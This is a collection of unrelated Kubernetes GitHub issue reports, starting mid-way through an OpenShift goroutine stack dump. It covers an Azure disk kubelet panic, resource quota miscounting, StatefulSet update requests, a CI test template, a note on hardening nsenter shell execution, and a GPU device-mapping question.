\t0x25fbe72\tgithub.com/openshift/origin/pkg/cmd/server/handlers.authorizationfilter.func1+0x112\t\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/handlers/authorization.go:64\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x25ff141\tgithub.com/openshift/origin/pkg/cmd/server/handlers.impersonationfilter.func1+0x3141\t\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/handlers/impersonation.go:30\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x2613181\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters.withaudit.func1+0x911\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters/audit.go:137\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x25fbcf9\tgithub.com/openshift/origin/pkg/cmd/server/handlers.authenticationhandlerfilter.func1+0x2b9\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/handlers/authentication.go:32\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x157b9e1\tgithub.com/openshift/origin/pkg/cmd/server/origin.namespacingfilter.func1+0xd1\t\t\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/origin/handlers.go:97\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x157b8f1\tgithub.com/openshift/origin/pkg/cmd/server/origin.cachecontrolfilter.func1+0xc1\t\t\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/origin/handlers.go:65\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x3789a1a\tgithub.com/openshift/origin/vendor/github.com/gorilla/context.clearhandler.func1+0x8a\t\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/gorilla/context/context.go:141\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x11690fe\tnet/http.  servemux .servehttp+0x7e\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:2022\r  \t0x11690fe\tnet/http.  servemux .servehttp+0x7e\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:2022\r  \t0x157e10c\tgithub.com/openshift/origin/pkg/cmd/server/origin.withpatternshandler.func1+0xcc\t\t\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/origin/master.go:421\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r \r 1872 @ 0x430dfa 0x430eee 0x4082bf 0x407f85 0x117f367 0x4624b1\r  \t0x117f366\tnet/http.  http2responsewriter .closenotify.func1+0x46\t/usr/lib/golang/src/net/http/h2_bundle.go:4700\r \r 1412 @ 0x430dfa 0x440605 0x43f39c 0x18074c2 0x4624b1\r  \t0x18074c1\tcontext.propagatecancel.func1+0x171\t/usr/lib/golang/src/context/context.go:262\r \r 1400 @ 0x430dfa 0x440605 0x43f39c 0x1037bae 0x4624b1\r  \t0x1037bad\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  watchgrpcstream .run+0x15ad\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/watch.go:430\r \r 1400 @ 0x430dfa 0x440605 0x43f39c 0x1de05f6 0x4624b1\r  \t0x1de05f5\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc.newclientstream.func2+0x425\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/stream.go:204\r \r 1293 @ 0x430dfa 0x440605 0x43f39c 0x2b398fa 0x2b3a2e9 0x498924 0x498a88 0x1dd204f 0x1dd2b0d 0x1ddc484 0x1dea74b 0x1d77d02 0x10380ac 0x4624b1\r  \t0x2b398f9\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport.  recvbufferreader .read+0x699\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport/transport.go:140\r  \t0x2b3a2e8\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport.  stream .read+0x58\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/transport/transport.go:325\r  \t0x498923\tio.readatleast+0xa3\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/io/io.go:307\r  \t0x498a87\tio.readfull+0x57\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/io/io.go:325\r  \t0x1dd204e\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc.  parser .recvmsg+0x6e\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/rpc_util.go:231\r  \t0x1dd2b0c\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc.recv+0x4c\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/rpc_util.go:315\r  \t0x1ddc483\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc.  clientstream .recvmsg+0xc3\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/google.golang.org/grpc/stream.go:312\r  \t0x1dea74a\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/github.com/grpc-ecosystem/go-grpc-prometheus.  monitoredclientstream .recvmsg+0x4a\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/vendor/github.com/grpc-ecosystem/go-grpc-prometheus/client.go:63\r  \t0x1d77d01\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/etcdserver/etcdserverpb.  watchwatchclient .recv+0x61\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/etcdserver/etcdserverpb/rpc.pb.go:2473\r  \t0x10380ab\tgithub.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3.  watchgrpcstream .servewatchclient+0x4b\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/github.com/coreos/etcd/clientv3/watch.go:557\r \r 281 @ 0x430dfa 0x440605 0x43f39c 0x241bbad 0x241d257 0x1167c04 0x2615e32 0x1167c04 0x12815af 0x1167c04 0x241daab 0x1167c04 0x2415e51 0x1169b0d 0x116b0c3 0x11905e9 0x117efdd 0x1145199 0x4624b1\r  \t0x241bbac\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp+0x2ac\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:101\r  \t0x241d256\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1+0x196\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:97\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x2615e31\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters.withrequestinfo.func1+0x211\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters/requestinfo.go:45\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x12815ae\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1+0xee\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:107\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x241daaa\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1+0x11a\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41\r  \t0x1167c03\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1726\r  \t0x2415e50\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp+0x50\t\t/builddir/build/build/atomic-openshift-git-0.f30b99e/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/handler.go:193\r  \t0x1169b0c\tnet/http.serverhandler.servehttp+0x7c\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:2202\r  \t0x116b0c2\tnet/http.initnpnrequest.servehttp+0x92\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:2670\r  \t0x11905e8\tnet/http.  initnpnrequest .servehttp+0x78\t\t\t\t\t\t\t\t\t<autogenerated>:288\r  \t0x117efdc\tnet/http. handler .servehttp-fm+0x4c\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/h2_bundle.go:4084\r  \t0x1145198\tnet/http.  http2serverconn .runhandler+0x88\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/h2_bundle.go:4314\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i'm running a redis pod with a pv provisioned as an azure managed disk. it's got an exec readiness probe that calls  redis-cli ping  in the container. \r \r at some point it receives a sigterm.\r \r the kubelet then tries to sync the pod and restart the container, but it panics in  azure_dd/azure_mounter.go  https://github.com/kubernetes/kubernetes/blob/v1.7.4/pkg/volume/azure_dd/azure_mounter.go l47   looking over the  azure_dd  code, that's the only place where the error from  getvolumesource    is ignored \r \r as a result, the pod hangs in a  ready: false  state, since the readiness probe cannot be ran in a non existing container. \r \r    \r name                         ready     status    restarts   age\r redis-redis-31901399-7300v   0/1       running   0          5d\r    \r \r    \r oct 17 13:06:21 k8s-agent-29113125-1 docker 1607 : e1017 13:06:21.364939    1819 remote_runtime.go:309  execsync 5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04 'redis-cli ping' from runtime service failed: rpc error: code = 2 desc = container not running  5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04 \r oct 17 13:06:21 k8s-agent-29113125-1 docker 1607 : e1017 13:06:21.366852    1819 remote_runtime.go:309  execsync 5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04 'redis-cli ping' from runtime service failed: rpc error: code = 2 desc = container not running  5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04 \r oct 17 13:06:21 k8s-agent-29113125-1 docker 1607 : e1017 13:06:21.368843    1819 remote_runtime.go:309  execsync 5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04 'redis-cli ping' from runtime service failed: rpc error: code = 2 desc = container not running  5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04 \r oct 17 13:06:21 k8s-agent-29113125-1 docker 1607 : w1017 13:06:21.368893    1819 prober.go:98  no ref for container \ docker://5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04\   redis-redis-31901399-7300v_default 72313440-b018-11e7-a0b8-000d3a2bd19b :redis-redis \r oct 17 13:06:21 k8s-agent-29113125-1 docker 1607 : i1017 13:06:21.368906    1819 prober.go:101  readiness probe for \ redis-redis-31901399-7300v_default 72313440-b018-11e7-a0b8-000d3a2bd19b :redis-redis\  errored: rpc error: code = 2 desc = container not running  5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04 \r \r    \r \r    \r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : e1017 13:01:40.059686    1819 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /usr/local/go/src/runtime/asm_amd64.s:514\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /usr/local/go/src/runtime/panic.go:489\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /usr/local/go/src/runtime/panic.go:63\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /usr/local/go/src/runtime/signal_unix.go:290\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/azure_dd/azure_mounter.go:47\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:133\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:333\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_container.go:161\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_container.go:102\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_manager.go:716\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1629\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:767\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:173\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:176\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:220\r oct 17 13:01:40 k8s-agent-29113125-1 docker 1607 : /usr/local/go/src/runtime/asm_amd64.s:2197\r    \r \r \r    \r name:           redis-redis-31901399-7300v\r ...\r status:         running\r ...\r containers:\r   redis-redis:\r     container id:       docker://5c6a156a5061204acd204666ec32dc2542764b7d6ee91756d5b8b9cbc46a3f04\r     image:              bitnami/redis:3.2.9-r2\r     image id:           docker-pullable://bitnami/redis@sha256:9ecc1c48d6c74a1a8ec9798dd28e5a1ad91d1defa4048039235a8b2be40cda62\r     port:               6379/tcp\r     state:              running\r       started:          fri, 13 oct 2017 16:14:36 +0300\r     ready:              false\r     restart count:      0\r     requests:\r       cpu:      100m\r       memory:   256mi\r     liveness:   exec  redis-cli ping  delay=30s timeout=5s period=10s  success=1  failure=3\r     readiness:  exec  redis-cli ping  delay=5s timeout=1s period=10s  success=1  failure=3\r conditions:\r   type          status\r   initialized   true \r   ready         false \r   podscheduled  true \r volumes:\r   redis-data:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  redis-data\r     readonly:   false\r    \r \r \r   what you expected to happen  :\r \r the container would successfully restart.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it's the 2nd time it happens but i haven't yet figured out the conditions to reproduce.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r azure w/ managed disks\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux k8s-agent-29113125-0 4.4.0-93-generic  116-ubuntu smp fri aug 11 21:17:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r  acs-engine \r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r with resource quota defined in the namespace, scaling a deployment down sometimes does not decrement the pod count on the resourcequota.  this is seen on pods in deployment or statefulsets, and on service objects. the count will increment in sync with resources, but can skip count updates when deleting resources. in this state, resource counts in all namespaces are affected. a leader change or restarting the kube-controller-mgr container resolves it. delete/creating of the deployment or namespace does not resolve. it has been left in this state for a many hours without resolving counts.\r \r   what you expected to happen  :\r the  used counts  in the resourcequota status should reflect the current resources when resources are deleted.\r \r    \r $ kubectl get po,svc -a  -n test-rkb2\r name                     ready     status    restarts   age\r test2-7cc95d6cb8-htzvh   1/1       running   0          2h\r \r $ kubectl describe quota -n test-rkb2\r name:       resource-quota\r namespace:  test-rkb2\r resource    used  hard\r --------    ----  ----\r pods        3     3\r services    1     2\r    \r snippet of kube-controller-manager log  --v=6 :\r    \r i0614 13:38:56.301032       1 resource_quota_monitor.go:338  quotamonitor process object: /v1, resource=pods, namespace test-rkb, name test-5b899f499b-lkllz, uid f7d7018e-6fd7-11e8-8f7f-fa163e7097ec, event type delete\r ...\r i0614 13:39:53.673382       1 reflector.go:428  k8s.io/kubernetes/vendor/k8s.io/client-go/informers/factory.go:86: watch close -  v1.resourcequota total 4 items received\r i0614 13:39:53.674464       1 round_trippers.go:436  get https://172.31.0.1:443/api/v1/resourcequotas?resourceversion=7852&timeoutseconds=445&watch=true 200 ok in 0 milliseconds\r i0614 13:41:49.096798       1 resource_quota_controller.go:193  resource quota controller queued all resource quota for full calculation of usage\r i0614 13:41:53.707197       1 round_trippers.go:436  get https://172.31.0.1:443/apis/occloud.oracle.com/v1/resourcequotadefaults?resourceversion=7246&timeoutseconds=351&watch=true 200 ok in 0 milliseconds\r i0614 13:46:49.097070       1 resource_quota_controller.go:193  resource quota controller queued all resource quota for full calculation of usage\r    \r after the delete event, i do not see a log entry like the following if in this state:\r    \r round_trippers.go:436  put https://172.31.0.1:443/api/v1/namespaces/test-rkb/resourcequotas/resource-quota/status 200 ok in 3 milliseconds\r resource_quota_controller.go:297  finished syncing resource quota \ test-rkb/resource-quota\   238.46085ms \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r it seems to only occur with a controller taking leadership for the first time  which is why i kill the static pod's container . it is encountered with a test cycle as follows, typically in just a few tries.\r \r create \ test\  deployment with replicas=2 in a namespace with resource quota set  delete in step 1 seems to be the trigger :\r 1.  kubectl scale deploy/test --replicas=1\r 1. kubectl describe quota\r 1. if count != 1,  long after pod deleted then errored state is entered\r 1.  kubectl scale deploy/test --replicas=2\r 1.  kill kube-controller-manager container\r 1. continue with step 1\r \r   anything else we need to know?  :\r it seems to only affect controllers taking leadership for the first time  i.e. newly started or just acquired lease but has been running a while .\r \r   environment  :\r - kubernetes version: 1.9\r - cloud provider or hardware configuration: occurs on multiple hardware/infrastructures - with single or multiple kube-controllers-managers\r - os: oracle linux server 7.5\r - kernel: 4.1.12-124.15.2.el7uek.x86_64\r

\r feature request:\r \r  /area stateful-apps\r \r \r   what happened  :\r when performing rolling update an app may become unavailable for a long period of time until the pod finish restarting. \r   what you expected to happen  :\r rolling update should create the pod \ on the side\  and connect it to the sts during some pod upgrade.\r this should allow application that needs ha / quorum to get back to fully stable state much faster \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r pull-kubernetes-bazel-test\r \r   which test s  are failing  :\r \r https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/72953/pull-kubernetes-bazel-test/72686/\r \r   since when has it been failing  :\r \r   testgrid link  :\r \r   reason for failure  :\r \r   anything else we need to know  :\r

edit: this is not a vulnerability right now, but it is a potential one.  while fixing  16969 we noticed that nsenterwriter has the potential for arbitrary shell-execution if a caller doesn't validate their paths.  we need to ensure that is impossible by invoking  filepath.clean  on the passed input, and then using  %q  to verify that the shell we generate cannot be escaped.  however, we may need to go even further  since bash + escaping == epic disaster .  docker 1.10 _should_ have a mount propagation setting which allows --shared mount, at which point this code should die and be totally removed.  we should leave the containerized code in experimental and put big security warnings around it until we have that.  i'd also like to figure out how we can have much stronger review policies around places where we execute bash code in the node, by requiring it go through a strict review process, and having specific helpers.  i'd also like to put some automation in place to ensure we do not execute shell except through whitelisted paths.  @kubernetes/rh-platform-management @kubernetes/goog-node @liggitt

hey guys,  i added a print info in kubernetes/pkg/kubelet/dockertools/docker_manager.go to debug the command of supporting nvidia gpu. the code and the yaml as the below, but when i check the  /tmp/kubelet.log, it shows   \ jian: the nvidiagpu value: 0\   ! so, i assumed this command               resources:           requests:             alpha.kubernetes.io/nvidia-gpu: 1      did not have took effect!  so, what's the problem with that? docker_manager.go code:              fmt.println \ jian: the nvidiagpu value:\ , nvidiagpulimit.value            if nvidiagpulimit.value   != 0 {                 // experimental. for now, we hardcode /dev/nvidia0 no matter what the user asks for                 //  we only support one device per node .                 devices =   dockercontainer.devicemapping{                     {\ /dev/nvidia0\ , \ /dev/nvidia0\ , \ mrw\ },                     {\ /dev/nvidiactl\ , \ /dev/nvidiactl\ , \ mrw\ },                     {\ /dev/nvidia-uvm\ , \ /dev/nvidia-uvm\ , \ mrw\ },                 }         }      the yaml content:      apiversion: v1 kind: replicationcontroller metadata:   name: gpu   namespace: default spec:   replicas: 1   selector:     app: gpu   template:     metadata:       name: gpu       labels:         app: gpu     spec:       containers:       - name: gpu         image: ubuntu_1404_x86_cuda_jian:gpu         resources:           requests:             alpha.kubernetes.io/nvidia-gpu: 1         command:  \ /bin/sh\ , \ -c\           args:  \ tail -f /dev/null\           ports:         - containerport: 80       the kubelet.go shows:      i0704 05:25:36.422221   19112 docker_manager.go:1870  got container changes for pod \ gpu-ugo18_default bc9681da-41a7-11e6-8428-002186f14711 \ : {startinfracontainer:true infrachanged:false infracontainerid: initfailed:false initcontainerstokeep:map   containerstostart:map 0:container {name:gpu image:ubuntu_1404_x86_cuda_jian:gpu command: /bin/sh -c  args: tail -f /dev/null  workingdir: ports: {name: hostport:0 containerport:80 protocol:tcp hostip:}  env:   resources:{limits:map   requests:map alpha.kubernetes.io/nvidia-gpu:{i:{value:1 scale:0} d:{dec:<nil>} s:1 format:decimalsi} } volumemounts: {name:default-token-dorym readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:ifnotpresent securitycontext:<nil> stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.  containerstokeep:map  } i0704 05:25:36.424326   19112 kubelet.go:1265  container: default/gpu-ugo18/pod podip: \ \  creating hosts mount: false jian: the nvidiagpu value: 0 i0704 05:25:36.425485   19112 docker_manager.go:689  container default/gpu-ugo18/pod: setting entrypoint \   \  and command \   \  i0704 05:25:36.566305   19112 docker.go:392  docker container: /dreamy_albattani is not managed by kubelet.      it is strange, i have config the nvidia gpu in yaml, but it didn't work, as the kubelet.go shows, as the below,   the dev is nil!   my host os support nvidia-smi perfectly.      requests:map alpha.kubernetes.io/nvidia-gpu:{i:{value:1 scale:0} d:{dec:<nil>} s:1 format:decimalsi} }

in order to support simple updates of daemon sets and stateful sets, it should be possible to do the following:\r \r 1. update the ds or ss\r 2. run a kubectl command that maintains certain availability numbers by deleting pods and returns once everything is set\r \r this would be a good stepping stone to implement updates for ss and ds because it would solve an immediate need  users have to write their own version of this  and provide practical feedback on a full update solution.\r \r as a straw man, the command might be:\r \r     $ kubectl command <statefulset|daemonset|rc>/name\r \r and support some or all of these parameters from deployments  --max-unavailable ,  --min-ready-seconds ,  --progress-deadline-seconds .\r \r the command would identify the set of pods that don't match the current template, delete them using some criteria  newest first, highest name, etc , and exit when all pods are updated or --progress-deadline-seconds is reached.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r _operation cannot be fulfilled on jobs.batch_\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ 